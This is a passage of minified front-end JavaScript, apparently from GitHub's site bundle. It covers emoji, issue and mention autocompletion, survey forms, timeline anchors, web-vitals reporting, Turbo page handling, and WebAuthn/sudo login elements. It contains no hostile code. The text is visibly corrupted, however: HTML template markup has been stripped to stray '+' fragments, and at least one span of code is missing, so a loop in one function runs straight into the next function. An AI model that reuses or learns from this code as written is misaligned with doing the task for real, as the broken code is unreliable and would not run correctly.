i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
    + ${i.map(r)} +
+ `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of 